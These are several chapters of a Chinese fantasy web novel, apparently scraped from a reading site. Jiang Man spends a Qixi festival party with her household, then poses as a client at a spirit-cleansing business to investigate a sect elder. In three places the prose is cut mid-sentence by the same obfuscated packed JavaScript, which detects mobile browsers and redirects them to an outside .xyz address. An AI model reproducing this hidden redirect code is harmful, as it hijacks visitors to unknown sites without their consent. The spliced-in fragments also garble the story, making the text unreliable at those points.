既然做了选择,姜满也不会后悔。 但如果她的假设成立,薄临是为了解除家族这种诅咒才接近她的,那么,她倒是安心不少。 这栋房子里的每个与她有关的人,多多少少都有些目的。 阿卓是她的家人,不算在其内。张云汉指望她去找他的掌门;程书韫想救孙浩然,所以受碧虚指示接近她;黎佳宁想求她救其父母……唯独薄家姐弟,若是薄临单纯就是为了冒险,才跟着她,即便富家子弟的想法与众不同,但这个理由还是太荒谬了。 姜满站在窗边,看着大小姐薄月在院子里,指挥张云汉和黎佳宁打扫布置晚上的聚会场地,张云汉一边做事,一边和薄月斗嘴,几个人嘻笑打闹,好不热闹。姜满收回目光,拿出手机,点开搜索引擎,打出了四个字:十丈珠帘。 页面跳转,她翻了翻,这种菊花的名字还挺多,既有黎佳宁说的垂帘,还有竹帘,也有薄临说的珠帘。 她轻轻摇头。 看来是她想多了,薄临一介凡人怎么会和碧虚有什么关系…… 农历七月初七,七夕节。 姜满的印象中并没有和家人庆祝过这个节日,事实上,她几乎没有庆祝过任何节日,那时候,全家能吃饱,能休息好,就很满足了,唯一庆祝过的,就是生日了,她没有生日,但家里人把遇见她的那天,当做了她的生日…… 她知道,七月初七是乞巧节,是少女祈愿的节日,又因为传说故事,成为了情人节。 天象所指,日月五行,称为七曜,七七为时之终局,是双吉,是圆满。 也罢,暂且放下一切,今天就好好体验一下人间节庆,但愿,这一次能赶在成[空]前,圆满。 檀州的夏,夜幕降临于晚上六七点。 此刻,薄家宅邸中公园一般的庭院里,张灯结彩。水中石台上,薄月不知从哪搞来了篝火,张云汉拖着酸痛的手臂在不远处砍柴,阿卓想帮忙,被薄月拦着,于是阿卓就拿着几串肉串去烤了。薄临走到湖边,递给双眼红肿的程书韫一块冰镇过的毛巾敷眼,黎佳宁在一旁串着各种蔬菜肉串。 姜满走出来,看着这一幕,感到心情很放松,她行至张云汉身旁,接过他手中的斧子,“砍柴都不会,你还能做什么?” 以前在西疆,她可是砍柴的好手。 “像这种很粗的木头,斧子又小,就不要从中间劈,先从旁边这个地方开始入手……” 张云汉小声嘀咕,“那还不是因为你让薄临折磨我……” “姜老大,我一直很好奇,您身为天一道大长老,不会只有力气大和死不了这两个本事吧?” 薄月眨眨眼,看向姜满。 的确,站在薄月这一路的视角看来,姜满徒手拦车,重伤不死,虽然够神奇,却不够厉害。 姜满耸耸肩,“是啊,我其实没什么本事的。”她看向黎佳宁,以一种较为夸张的语气赞叹道:“要说本事,这位黎小姐是巫玄,所知玄妙之法颇多,能活死尸,控万物。” 黎佳宁肩膀一抖,“我、我……我哪有那么厉害,姜长老实在是过誉了。” 她这几日在薄家可谓是如履薄冰,加上姜满醒后也没给她个准信,到底帮不帮她救爸妈。如今碧虚烧成废墟,她自己对于这件事也是毫无头绪,只能指望姜满,此刻她心不在焉,被姜满这般捧着,更加不知所措了。 薄月上下打量起黎佳宁,“哦?黎姐姐,你这么厉害啊?”说着,她撇撇嘴,“厉害有什么了不起,你就是用你这些妖术害了姜老大!对吧?” “我……”黎佳宁很是委屈,她瞄向程书韫。明明是程书韫和她一起干的,怎么大家就只针对她一个…… 姜满清清嗓子,“今天过节,不提旧事,还有,别叫我姜老大,哪里学来的这种怪习气。” 肉香传来,阿卓招呼大家一起到水边石台上吃东西,众人走了过去,围坐在湖心亭中的石桌边。 桌上摆着阿姨提前准备的一些凉菜,还有阿卓刚烤好的肉串,美酒佳肴,良辰美景。 酒杯斟满,薄月站了起来,“今日七夕,听老大的,不提旧事!大家举杯皆是友,愿我们所有人,如此良夜,星光璀璨!幸福美满!” “都说了,别叫我老大。”姜满皱皱眉,不满道。 张云汉揉了揉举杯都酸痛的手臂,“嗯……大长老,不然,就叫你大佬吧?” “张云汉,你是不是欠收拾?” 张云汉缩了缩脖子,岔开话题,“来!干杯!愿在座各位,幸福美满!” “干杯!” 众人举杯,欢声笑语,其乐融融。 张云汉抿抿嘴,“小薄总,你这红酒很贵吧?味道不错!破费破费!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007509|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >薄月打了一下他的脑袋,“我哥可不爱喝酒,这些酒都是我珍藏的宝贝!今天为了庆祝老大康复才拿出来,你应该谢谢我!” “你这小姑娘打扮的像个淑女似的,干什么老是动手打人啊!” “什么叫像?我今天非替老大好好教训教训你不可!” 说着,薄月离开座位,张云汉何等乖觉,立刻起身逃跑,二人你追我赶,像两个打闹的孩子。 程书韫担心道:“你们慢点,这儿有火堆,还在水边,注意安全啊……” 黎佳宁站了起来,朝姜满举杯,“姜长老,害您躺了半个月,这杯,我敬您,给您赔礼!” “黎姑娘,阿满说了旧事不提,你怎么还赔起礼来了,我们一起喝,庆祝阿满康复。”一向寡言的阿卓,今天看起来兴致也很高。 没多久,张云汉和薄月也坐了回来,几人你来我往,几杯酒入喉,众人都有了醉意。 姜满的体质特殊,喝再多的酒于她而言,也不是说无效,只是醒的很快,所以酒过三巡,翻来覆去,她也有些微醺之感,只觉神思倦怠,眼前灯火憧憧。 此时,薄月和张云汉一唱一和,要看黎佳宁表演巫术,黎佳宁到底年轻,又本就是出色的巫玄,借着酒劲,施展术法,召集来许多虫蚁。 虫蚁相叠,数不可计,竟在她的术法之下,成了小树,成了小花。 众人拍手赞叹。 姜满却微微蹙眉。 “怎么了?”坐在她身旁的薄临轻声问道。 他喝的不多,相比较而言,在这个家里,他比姜满更像一个沉稳的上位者,静静的看着大家,冷静理智,喜怒不形于色。 姜满自己也有些困惑,“不知道,觉得……莫名,有些眼熟。” “眼熟?”薄临笑了笑,只当她喝多了,“今天过节,你也放松些,别想那么多了……你知道,七夕是什么节日吗?” “嗯,现在应该没人记得乞巧了,大家都当情人节过,不过,说是情人节,也应该是两个人过,没人会像我们这样,这么多人一起特地庆祝的。” 薄临低头浅笑,“薄月只是找个由头,主要是为了庆祝你的康复,况且,大家相识许久,都没有这样聚在一起过。” “也没有许久吧?何况,相识许久就要相聚吗?若彼此没有价值,何必聚在一起?薄先生,你说呢?” “今天大家都这么高兴,恩人何须说起这样直白扫兴的话?” 姜满揉揉眉心,看向酒后垂泪的程书韫,阿卓正好坐在程书韫附近,此刻二人不知道说起什么,阿卓看上去也是十分惆怅,给程书韫递了纸巾。 “也不都是高兴的……” 姜满似乎猜到阿卓为何神伤,神色也暗淡了下来。 薄月回过头来,看向那两个酒后神伤的人,“程姐姐,别难过,世界那么大,人又那么多,你还会遇到好人的,会有更多的朋友,也会有家人。” “是啊,今天是七夕,都开心点嘛!不过,说起来,我们这儿七个人,一对情人都没有,也不知道过的什么节……”张云汉看看程书韫,心里难免还是有些不好受。 黎佳宁经这么一闹,也放松了许多,坐了回来,不解地问道:“一对情人也没有?怎么你们大长老和这个小薄总不是……” 张云汉眼瞅着姜满眉头蹙起,赶紧打断,“快别说了,你这小姑娘,瞎说什么……”大实话。 “那他干嘛那么紧张你们大长老,那天,他第一个到不说,肩上有伤还抱着你们大长老不肯放,惊慌的就好像死的是他家人似的,肩膀都渗血了也不管不顾的……” 薄月抿抿嘴,悄悄瞄了薄临一眼,没吱声。 阿卓抬起头,笑着看向众人,“阿满是我的未婚妻,等她做完她要做的事,她会嫁给我,到时候,欢迎你们来西疆喝喜酒,我和阿满一定好好招待你们,是不是,阿满?” 姜满一愣,不知如何作答。 闻言,在场几人心思各异,一言不发,眼神乱瞄,场面不免显得有些尴尬。 张云汉清了清嗓子,“呃那个,阿卓兄弟,我又饿了,我们接着去烤肉串吧!你做的太好吃,吃不够啊哈哈……走!”说着,他上前揽住阿卓的肩膀,往烤炉走去。 薄月也举起酒杯,和黎佳宁程书韫聊笑起来。 姜满垂眸不语,片刻之后,抬头看向薄临,低声问道:“明天早上有空吗?陪我出去一下。” “我?”薄临似乎很意外,“有空,去哪儿?要,做什么?” “去找个人。你,小薄总,要请人做法驱邪。” 45. 第一座山(45) 七夕聚会结束在人手一串的仙女棒烟火中,火花璀璨,映着每个人的脸,暖洋洋的。 姜满扶着喝多了的阿卓,送他回到他的房间,准备离开的时候,却被阿卓拉住了。 “阿满……我真的很想……”他醉眼朦胧,口中呢喃着。 姜满哄孩子似的拿开他的手,然后给他倒了杯水,“先喝点水,你今天不该喝这么多的,你酒量好我知道,但阿兹……你还有没有哪里不舒服?” 阿卓看向姜满,他像只受伤的小狗,委屈地呜咽着,“阿满,你变了。” 姜满柔声反问,“我哪里变了呢?” “你……变厉害了,你身边也有好多厉害的人,我很怕……” 姜满轻拍他的背,“别怕,没有人能伤害你,我会保护你的。” “可是……” “乖,别胡思乱想,早点——”姜满的手顿住了。 她瞥见他锁骨侧下方,长出了暗紫色瘢痕。她伸手轻轻按了按,压迫褪色,收手复原,这是……尸斑! “阿卓,你……” 怎么可能,难道阿兹日拉已经…… 次日清晨,姜满照例对着镜子看了看自己肩上的印记,没有任何变化。 洗漱穿衣,今天,她准备去会一会程良的“地下产业”。 那天提到程良时,程书韫说话遮遮掩掩,一时之间,姜满也无法判断这位葵山道长老是敌是友。 世界上最难分辨的,就是人心,所以,从一开始,姜满就是希望程书韫主动说出一切的,那样,她也能更顺利的拿到她想要的怨灵。可惜,一切明朗之后,姜满才确切的知道,程书韫最想要的,是孙浩然的健康,这是谁也给不了的。 照理说,程良助程书韫制成阴符化药,应该算是友,但他在程书韫脖子上留下的掐痕,且又帮碧虚做事,实在难以称之为友。 如今,怨灵在程长老手里,程书韫又似乎并不想让姜满和程良接触,但也没有表达出不愿意交出怨灵的想法。 程书韫不能同行,黎佳宁完全不能信任,张云汉身为道玄很容易被识破,阿卓又是怨灵附体,薄月……没必要再牵扯一个人进来,所以,只能选薄临出面。 据黎佳宁所说,程良一路跟去了麓川,那么,程良必定是对他们这一伙人了解得很清楚,所以,不能直接去找程良,要顺藤摸瓜,扼住对方命门。 姜满收拾了一下,就和薄临在楼下客厅碰面了。 只是,没想到薄月起得也很早。 “你们要干嘛去?”薄月端着一杯水从厨房走出来,正好看见薄临和姜满。 哥哥装束整齐,就像要去公司一样,可薄月知道,她哥从不去公司。 “有事。”姜满并不想和她多说。 薄月打量着姜满的穿着,一身寻常打扮,休闲装牛仔裤,马尾辫黑皮筋,不施粉黛…… “老大,你这样的,跟我哥这样的,一起出去,就像两个毫不相干的人。” 姜满眨眨眼,低头看看自己。 的确,她打扮的太随意了,可一来她的衣服都被她在出山时丢弃了,二来,她自己一个人时穿那些裙子满足一下爱美之心也就罢了,穿出去,实在不合适。 “在麓川医院第一次见你,我就发现了,那天,你们三个是不是想乔装改扮的?两个男人就不说了……老大,我猜猜看,你,不会化妆,对不对?” 姜满不以为然,“和这个有关系吗?” 薄月放下水杯,嫣然一笑,“既然如此,我要先问问你:你们要出去办事,那么,你是想看上去像我哥的老大呢?还是想看起来和我哥般配一些呢?” 姜满蹙眉,“我说了,我不是什么老大。” “很好,那就是想和我哥般配一些!这样的话,我哥就不用改了。老大,你跟我来,我帮你‘改头换面’!” 薄临微笑着目送姜满被薄月带走,而后,缓缓抬头。 客厅上方不远处,二楼走廊的一根柱子旁,满文卓正用阿兹日拉的双眼,看向这里,此刻,与薄临的视线相撞,他不禁皱了皱眉。 薄临眼神淡漠,朝他笑了笑,点头示礼,随即转身,没再看他。 娶她?满文卓,你为人时,无此命格,如今是鬼,更不配。 或许薄月说得对,就算作他是嫉妒吧,那又怎么样?他有得是时间,也有得是耐心,他远比任何人,更有资格,站在她身边。 可惜,他答应过她,不动与她有关的任何人,无论,是敌是友。 半个小时后,姜满踩着小高跟鞋走进客厅,薄月跟在后面。 薄临看向姜满,此刻的她穿上了薄月的蓝色旗袍,倒也合身,长发披肩,脸上画着淡妆,整个人看起来的确较之前长了几岁,明眸朱唇,耳饰珍珠,身上还多了淡淡的木质香水味。 “哥,你是不知道,原来老大她还挺会打扮的,这一身都是她自己选的,不过妆是我帮她画的,头发是我帮她弄的,怎么样?好看吧?”薄月上前邀功似的说道。 “好看。”薄临轻声笑道:“不是你的功劳,恩人本来,就很好看。” 姜满心情很不错,她本就很爱美,只是没机会,也没必要打扮而已,旗袍也是她第一次尝试,甚合心意。 不过,她心里高兴,表情却没有显露太多,“走吧。” 薄月在后面朝二人摆手,“拜拜!祝你们约会愉快!” 姜满眉头一皱,正准备回过头说点什么,却被薄临拉住手腕,“回来再教训她,正事要紧。” 这个薄月,要不是看在花了薄家这么多钱的份上…… 罢了,不过是个小孩子。 二人上了那辆姜满名下的蓝色大车,薄临主驾。 薄临侧身帮姜满系上安全带,微笑着可她眼睛,“你为什么喜欢蓝色?” “喜欢就喜欢,没有为什么。”姜满看了他一眼,“去六合公寓。” “我喜欢红色。”车子驶出车库。 谁问他喜欢什么颜色了? “你为什么喜欢红色?” “你适合红色。” 姜满眉头蹙起,“神经,我穿红色旗袍?迎宾还是成亲?” 薄临笑道:“别生气,是我考虑不周。不过……你真的会嫁给阿卓?” “与你无关。” 姜满像是怕他再问下去,转而道:“六合公寓二号楼一单元十九层,有一家……算是店吧,是专门帮人处理阴事的,你好好准备准备,务必演得像一些。” 薄临并没有追问阿卓的事,“怎么演?是说家里有问题,还是……这方面的事,我不太懂。” 姜满想了想,“我来演吧,到时候你就负责表演:你有的是钱。嗯,你不需要演,站那儿就行。” 二人统一了待会演戏的口径,四十分钟车程后,车子停在了六合公寓地下停车场。 “你是怎么知道这个地方的?”薄临环顾略显老旧的停车场内景,问道。 姜满挑挑眉,“你猜?” 她好歹是天一道大长老,想查点事还是很容易的,不过,唯一麻烦点的,就是必须冠名:为了找张信德。 走进电梯,姜满深吸一口气,“闻到了吗?” “什么?” “香火气。” 薄临摇摇头,问道:“香火,于鬼神而言,真的有用吗?” “你虽然什么都不要,但我不能白花你的钱,今天就告诉你一些关于那个世界的事。”姜满按下电梯十九层按钮,电梯门缓缓合上,“这世上有没有神我不知道,我只告诉你我看到的。” “愿闻其详。” “所谓地狱,就在我们身边。” 姜满环顾四周,“你们叫作‘鬼’的那种存在,玄人称为灵,它们保留了一部分作为人时的记忆,保留的越多、记忆越深刻,身为灵的力量,就越强大,而那些能对我们造成影响的,就是怨灵。它们存在于另一个维度,其实与我们所处的这个世界,是重叠的,它们无处不在,就好像现在,你身边就有很多,可惜,灵到处都是,怨灵却越来越少有了……” 薄临静静听着,记忆却飘到了很久很久以前。 有个小女孩,也是这么在他身旁,说着她跟师父学来的“灵异论”,后来,这个小女孩救了他,或者说,放了他,为此,她成为了玄人界的叛徒,被唾弃、责骂、羞辱,甚至到后来,被追杀…… “你害怕了?”姜满的声音和电梯到达的“叮”声同时响起,“不用怕,有我在,我和那些玄人不同,我可以‘抓’到它们。” 薄临方回过神来,听到这句“不用怕,有我在”,心中一动,一种异样的感觉在心头弥漫,像是点起数千年前的沉香,火星点点,烟雾缭绕,香气很淡,却很悠长。 “别愣神了,早知你胆子这么小,我就不说了。”姜满压低声音,拉着他走出电梯,“走吧。” 薄临轻轻深吸一气,朝她笑道:“我没事,恩人放心。” 二人走到电梯外,电梯声惊起的明亮很快又熄灭了,黑洞洞的楼道里,姜满跺了跺脚,声控灯再次亮起,眼前是一扇无比寻常的防盗门,看起来还很新,上面写着一排小字:营业时间9:00-18:00。 姜满伸手按下门铃。 片刻之后,门开了一条缝,空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026658|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调丝丝冷气也涌了出来,一男人冷冰冰问道:“你们找谁?” 此时姜满好似换了个人,双手合十,一脸虔诚,眼角眉梢笼起淡淡愁云,好像真遇见晦气事一般,“我家有事,想请师傅看看。” 门里面那人只露出半面孔,看不真切,“谁介绍的。” 姜满看看薄临,低声答道:“归山集团高层,具体名字……不方便说。” 那人似乎有些惊讶,门缝开得大了些,他打量起门外二人,随即声音柔和了一些,“二位稍候。” 门发出一声轻响,被那人关上了。 薄临笑着看向姜满,低声在她耳边道:“张云汉跟我说,你会变脸,我原本还不信……” 姜满皱眉回头瞪了他一眼,随即,快速用眼神向他示意门上的可视门铃,而后,她恢复原状,双手合十,模样虔诚又无助。 这种门铃她见过,她知道,手机一旦连上这门铃,人离得再远都能看见门外场景,算是一种特别的监控。 不多会儿,刚刚那人回来打开了门,“二位请进。” 正门大开,门内是个穿着盘扣银灰色褂子的年轻男人,黑发及颈,在脑后半扎起一个小揪,脸上很干净,但面部骨骼突出,略显凶悍。 “师傅在做法事,二位先在偏厅喝茶,休息片刻。” “好,多谢小师傅。”姜满轻声应道,眼眸低垂。 那人也和姜满一样,双手合十,“贵人客气,我姓徐,是师傅的助理,你们可以叫我小徐。” 姜满口中应付着,脚下和薄临一起跟小徐朝右边过道尽头的小房间去,眼睛悄悄四下打量着。 这地方干净明亮,客厅很大,有一扇全景落地窗,正对远处连绵的山,那山似乎是葵山,旁边的书架上放着各种经书及古玩,书架下的老木长桌上点着熏香,似是想遮盖屋内香烛纸钱燃烧的气味。 进门左侧有一个房间,此刻关着门,姜满闻出,香火气就是从这里面飘出来的。 小徐把姜满二人引进小房间。 推开门,小房间里也是雅致清幽,房间仅有一扇小窗,暖黄色的灯光略显昏暗,屏风后摆着一张茶桌,有一个穿着丝质长裙的姑娘正在泡茶。 开水咕嘟,姑娘有条不紊地拿起铜制水壶,开始她的茶道表演。 姜满对这些毫无兴趣,却装出十分好奇的模样,甚至起身来到那个姑娘身旁,“我能看看这些茶具吗?对不起,我实在是忍不住,我太喜欢这些各种工艺的小茶杯了,我家里收藏了好多,我觉得,我觉得它们就好像有生命……”她夸张的表达着自己对茶具的着迷。 那姑娘笑了笑,“当然可以,您可以选择一个自己喜欢的用,不过,有些杯子是有主人的,没办法给您用,希望您不要介意。” “没关系没关系,本就是我冒昧。”姜满蹲了下来,在茶桌旁的一个小竹柜里拿起各种杯子,仔细端详着。 留意到姑娘茶泡好了,姜满随手拿了一个,“这个能用吗?” 姑娘微笑着点头。 姜满把站在姑娘身旁,把杯子放在茶桌上。 茶汤斟至七八分水位后,姑娘向姜满做出了一个请的动作,姜满用手指轻叩桌面,端起茶杯,随即脚脖子一崴,“哎”一声,跌到姑娘身上,茶水正好洒在了姑娘的心口,弄湿了一片。 “哎呀……真是不好意思,把你衣服弄脏了!我们去厕所吧,我帮你处理一下,我知道一种办法可以除去茶渍,然后用纸巾印一下,很快就干了,走!”姜满故作手忙脚乱,想要看看她衣服里面,但许是碍于薄临这个男人在,那姑娘捂得很紧。 “没事没事,没关系的……” “要的要的,真的很快,你就跟我去一下。”姜满不由分说,拉起她就想往过道左边的厕所去。 那姑娘显然有些吃惊于姜满的力气,想挣脱又挣脱不开,只能由姜满拉着往房间门口去,嘴上仍在拒绝,“真的没关系,真的不——” 这时,房间门从外面打开了。 “二位——”小徐看着拉扯中的姜满和泡茶姑娘,有些惊讶,但很快回过神来,“二位,师傅有请。” 那姑娘伸手想要推开姜满,姜满趁她注意力分散,身体侧了过来,挡住旁人视线,伸手一拉,扯开了姑娘领口盘扣,洁白的皮肤上,露出一个黄色小尖尖的图案。 衣服并没有拉得太低,但姜满看到了…… 菊花花瓣的印记。 姜满面上无异,收回手,替她整理衣襟,“实在抱歉,想看看你有没有被烫伤,还好没事,回头赔你一件衣服。” 说罢,她对薄临道:“走吧,见师傅。” 46. 第一座山(46) 六合公寓是十几年前开盘的高级住宅区,两梯两户,每户面积约一百多平。 如今,公寓外观与地下停车场看起来都有些老旧,楼内设施还算完好。 小徐带着姜满和薄临走进另一个房间,这个房间可谓别有洞天。 窗帘把日光遮得很严实,空间很大,甚至远超客厅,门的正对面是一半的墙,空了一小段距离,相对这半截墙还有个木制屏风隔断,墙与屏风的那边,应该是打通了这一层的两户,那边也是窗帘紧闭,整间屋子显得暗沉沉的。 姜满和薄临进去后,身后的房门被小徐轻轻带上。 二人相视一眼,姜满下意识护在薄临身前,却被他拉到了身旁。 “二位久等了。”一个年轻男人的声音从屏风后传来,紧接着,男人走了出来,“既然能找到这儿,想必是熟人介绍,规矩,二位都知道吧?一千块,现金还是扫码?” 男人看起来和张云汉一般年纪,三十左右,身形清瘦,烫过的短卷发,一看便是精心打理过的,穿着米色棉麻短袖,黑色宽松休闲裤,脖子上挂着一串珠子,手里盘着两颗核桃。 “一千块?”姜满皱起眉头,“我们什么都还没说,就要交钱?” 男人坐在了一张单人沙发上,“你们进了门,还喝了茶,我这儿的灯光、空调、熏香、茶水……又不是天上掉下来的。” “你——” 薄临上前一步,“扫码吧,扫哪里。” 男人脸上堆起笑脸,拿出手机,“两个人,两千块。” 姜满没说话,但拳头已经硬了。 “好。”薄临拿出手机,扫码付款。 哗啦一声电子音,钱到账了,男人笑容满面,起身用手掌指向单人沙发对面的一张灰色麻布的长沙发,“二位请坐。” 薄临牵起姜满的手,把她的拳头包在手掌里,轻轻用手指拍了拍,像是在安抚她。 二人落座。 男人故作不经意看了一眼薄临和姜满牵起的手,露出了然的神情,接着,他清了清嗓子,“二位贵姓。” “我姓张,他姓孔。”姜满张口便答。 男人点点头,“鄙人姓陈,耳东陈。” “陈?”姜满略带不满道:“我们听说这儿的大师傅是姓程,可不是你这个陈。” 陈师傅闻言并未接话,而是盯着姜满看了一会儿,露出高深莫测的神情,“这位张女士,您家里……住着个活死人吧?” 姜满神色微变,心里却是咯噔一下她没有掩饰自己的惊讶,道:“你说什么?” “我说的活死人,并不一定是指真的死人,只是这阴魂再待下去,那人即便不死,也不算活了,医学上讲,叫做植物人,而这鸠占鹊巢的阴魂,也会是阴债累累,不得往生。”陈师傅笑了笑,看向姜满,“张女士,你知道我说的是什么。” 姜满很快便恢复镇定,垂下眼帘,顺着他的话问:“你是怎么看出来的。” “你们肉眼凡胎,自然看不出来,你身上沾染了死气,这位孔先生应该不和你住一起吧,他身上很干净。” 陈师傅调整了一下坐姿,整个人陷进沙发,更加放松道:“他应该是陪你过来的,我不知道你家这个‘人’是谁帮你做成现在这样,一体双魂,但你应该是感觉到不对劲了,所以,才来找我的,对吗?” 姜满抬起头,一脸钦佩地看向陈师傅,“您真是高人啊!这都被您看出来了!”她顿了顿,哀叹一声,“可是,我家……” “如何?”陈师傅见她欲言又止,问道。 姜满探出身子,用手遮住嘴,低声道:“不止一个。” 这下轮到这位陈师傅惊讶了,他立时坐直了身子,“你说什么?” 姜满皱起眉头,“唉,此事说来话长,我怕耽误陈师傅时间,正所谓一寸光阴一寸金,万一陈师傅收费太高,我恐怕……” 薄临适时开口,“没关系,你别担心,多少钱我都付得起。” 他当然不会忘,姜满叮嘱他,要负责表演他很有钱。 陈师傅赶紧摆手,“你放心,价钱好说,你先展开讲讲,到底怎么回事?” “是这样的,前不久,我家来了个远方亲戚,姓黎,这姑娘的父亲是我爷爷的堂兄弟的私生子的表姑二婚后的儿子的儿子,按辈分,她算是我侄女,那天,她带了好几个人到我家,我本来看那些人都挺正常的,后来……我发现,他们身上、他们身上开始,长斑了!” “姓黎……”陈师傅低声重复着,又追问道:“一共几个?” “七个,不对,好像是八个……嗯,也有可能是九个……对不起,我这个人有些脸盲,我家很大,那些人也不太说话,时间太短,我也没和他们相处过,都是陌生人,所以……” 陈师傅盯着姜满的脸看了半天,看不出一点撒谎的痕迹,想了想,道:“二位稍等,我去打个电话。” 姜满朝他笑了笑,点头,“您请便。” 陈师傅起身,朝屏风隔断后面走去。 他的身影消失不见,薄临才看向姜满,忍不住轻笑起来。 姜满皱着眉看他,朝他摇头,薄临才止住笑,看着姜满,伸手替她整理方才在茶室弄得有些乱的头发。 她以为自己头发上沾了什么东西,倒也没有阻拦薄临。 屏风隔断隐隐约约的,此刻也看不见陈师傅的身影了,那边传来低声说话的动静,姜满这边是听不清楚的。 和姜满预料的一样,刚刚那个泡茶的姑娘,心口应该也有那个印记,从露出的黄色尖角来看,和李妆娇的那个倒是很像。 这个程良,大有问题。 程良才是这里的幕后老板,如今,她带着钱和怨灵送上门,这两样想必都是程良拒绝不了的。 不过,家有数个“活死人”这事,并不是她提前想好的,这还得多谢这位陈师傅,要不是他看出她身上有阿卓的气息,她也想不到加上怨灵这个筹码。 可惜,白花了两千块!可真够黑的…… 人傻钱多放在薄临身上应该反过来说,钱太多了人就傻。 不多会儿,陈师傅的脚步声传来,他重新出现在二人视线中。 “张女士,这边需要先简单登记一下你们的身份信息,两位只要告诉我姓名和电话,以及介绍人姓名即可。”陈师傅坐回原位,拿出一个平板,打开一个电子表格,等待着二人回复。 姜满眉头微蹙,抿抿嘴道:“问这个做什么?” 陈师傅抬眼看了看她,垂眸笑笑,道:“需要登记一下,毕竟张姓孔姓的人不少,以免弄混,另外张女士尽管放心,客人隐私我们绝对不会泄露出去。” “他叫孔青,我叫张云。”说完,姜满看向陈师傅,“所以现在是代表,你能帮我解决这件事?” “张女士放心,没有我们解决不了的问题。”说着,陈师傅把平板递给姜满,“请输入手机号。” 姜满接过平板,转而递给薄临,“我不方便留电话,留孔先生的就行,他和我住在一起。” 陈师傅低头敛起八卦暧昧的眼神,笑了笑,“好的。” 姜满瞄了一眼薄临输入的手机号,确认不是留得他自己的,遂放下心来。 谁知道这些人会不会去核实身份,这年头通过手机号查身份可不是什么难事。还好她带来的是薄临,要是张云汉,肯定傻乎乎的就把他自己的电话号码写上去了。 “你们这个怎么收费?接下来又要怎么操作?” 陈师傅起身,朝靠墙那边的香案走去,那上面摆着香烛和一个香炉,供奉的,却是一面空墙。 “收费的事会由我们大师傅亲自跟你们谈,张女士,你先跟我来。” 他把手上的两颗核桃摆在案桌上,随即拿起三炷香,对着烛火点燃,然后递给姜满。 姜满听到“大师傅”三个字,心里有了底,接过他递来的三炷香,问道:“拜谁?” “真仙。” 真仙? 重玄王母,万岁真仙…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037894|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷链货车上,那个男人的话音在姜满脑海中响起。 她低垂眉眼,没显露半分情绪,“真仙,是指真的仙人?在哪儿?在这儿吗?” 陈师傅笑而不语,指向墙壁,也就是屏风隔断后面那间屋子的方向,“朝这儿拜。” 姜满再次把目光落在这面由半截墙和木制屏风组成的隔断。 那边,有真仙? 她双手捏住三炷香,面朝墙,拜一次顿一刻,只为看看这后面到底有什么。 是一团东西,不是生命体,也不是什么灵体,像一团云,边界模糊,似乎……在蠕动。 三拜之后,她觉得眼睛有些发胀,牵动着额头逐渐胀痛。 “张女士,拜完真仙,你们就可以先回去了,真仙会护佑你,明天务必保持电话畅通,大师傅会和你们联系。” 姜满用力闭了闭眼,而后扶住了已然起身走到她身旁的薄临,为避免被陈师傅察觉异样,她双手环住薄临的胳膊,往他身上贴近了些,好稳住胀痛带来的眩晕感。 “大师傅是……” 薄临低头看了姜满一眼,感觉到她的异样,于是调整了一下姿势,好让她靠得更舒服些,随即替她接着问道: “不知,陈师傅所说的这位大师傅,是否就是我们之前听闻过的那位,程师傅?” 还在被头痛所扰的姜满闻言,对自己带薄临来的这个决定,再度给予肯定。 陈师傅点点头,“正是,说到这个……二位还没有告诉我介绍人姓名。” 薄临温和沉稳的声音答道:“归山集团小薄总,薄临。” “小薄总……”陈师傅有些吃惊。 “嗯,如果陈师傅没什么其他要问的,我们就先告辞了。” 陈师傅回过神来,走在二人前面打开了门,招呼小徐来,送他们离开。 待到大门关上,电梯声传来,陈师傅回到房间,拿出手机,拨打了最近拨出的那个号码。 “程长老,问清楚了,男的叫孔青,女的叫张云,两人估计是情侣关系,但看起来不太正当,我猜,这两人不是男的有正室,就是女的有正室。不过,这都不是问题,问题是,介绍人,是归山集团小薄总。” 电话那头传来一个中年男人微哑的声音,“归山集团小薄总?……嗯,这倒是说的通了。” “说的通?” “嗯,听闻这位小薄总对玄人之事很感兴趣,据说最近缠上了一个道玄长老。我们这儿接待过的归山集团客人不少,估计是哪个下属告诉过他,然后转介绍吧……不过,我还真是小看了那个黎佳宁,我就说她消失了半个月都去哪儿了……” “那明天,需要我陪您一起吗?” “嗯,等我电话吧。” “好。” 另一边,姜满和薄临已经驾车离开了六合公寓。 薄临看了姜满一眼,“你还好吗?” 姜满用指尖轻柔着两边太阳穴,“没事,估计半个月前受伤睡了太久,还没完全恢复。” “回去好好休息,先别想明天的事。” 姜满放下手,从包里拿出两颗核桃,放在手心,用力一捏,核桃碎了,她慢条斯理挑出核桃仁,“吃吗?” 